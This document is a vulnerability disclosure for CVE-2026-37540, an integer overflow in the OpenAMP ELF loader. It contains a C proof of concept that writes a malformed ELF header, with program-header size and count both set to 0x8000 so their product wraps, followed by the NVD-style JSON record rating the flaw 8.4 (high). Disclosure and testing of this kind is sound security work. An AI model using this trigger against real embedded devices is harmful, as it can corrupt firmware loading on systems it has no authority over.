CVE-2026-37540

#include <stdio.h> #include <stdint.h> #include <string.h> // PoC for CVE-2026-37540: OpenAMP ELF Loader Integer Overflow // This PoC generates a malformed ELF file to trigger the overflow. void generate_malformed_elf(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { perror("Failed to open file"); return; } // ELF Header (simplified for PoC) unsigned char header[0x40] = {0}; // e_ident magic memcpy(header, "\x7fELF\x01\x01\x01", 7); // e_type: ET_EXEC *(uint16_t*)(header + 0x10) = 0x0002; // e_machine: EM_ARM (example) *(uint16_t*)(header + 0x12) = 0x0028; // e_version *(uint32_t*)(header + 0x14) = 0x00000001; // e_entry, e_phoff, e_shoff (dummy) *(uint32_t*)(header + 0x18) = 0x00000000; // e_entry *(uint32_t*)(header + 0x1C) = 0x00000034; // e_phoff // Trigger fields for Integer Overflow // e_phentsize and e_phnum are likely multiplied in elf_loader.c // Setting both to 0x8000 causes 0x8000 * 0x8000 to wrap around in 32-bit *(uint16_t*)(header + 0x2A) = 0x8000; // e_phentsize (Large value) *(uint16_t*)(header + 0x2C) = 0x8000; // e_phnum (Large value) // e_ehsize *(uint16_t*)(header + 0x28) = 0x0034; fwrite(header, 1, sizeof(header), fp); fclose(fp); printf("Malformed ELF generated: %s\n", filename); } int main() { generate_malformed_elf("cve_2026_37540_poc.elf"); return 0; }

{"cve": {"id": "CVE-2026-37540", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:23.933", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenAMP v2025.10.0 ELF loader contains an integer overflow vulnerability in firmware image parsing. In elf_loader.c, it performs multiplication of two attacker-controlled 16-bit values from the ELF header without overflow checking. On 32-bit embedded systems (STM32MP1, Zynq, i.MX), large values can cause the product to wrap around to a small value."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/OpenAMP/open-amp", "source": "[email protected]"}, {"url": "https://github.com/OpenAMP/open-amp/blob/main/lib/remoteproc/elf_loader.c", "source": "[email protected]"}]}}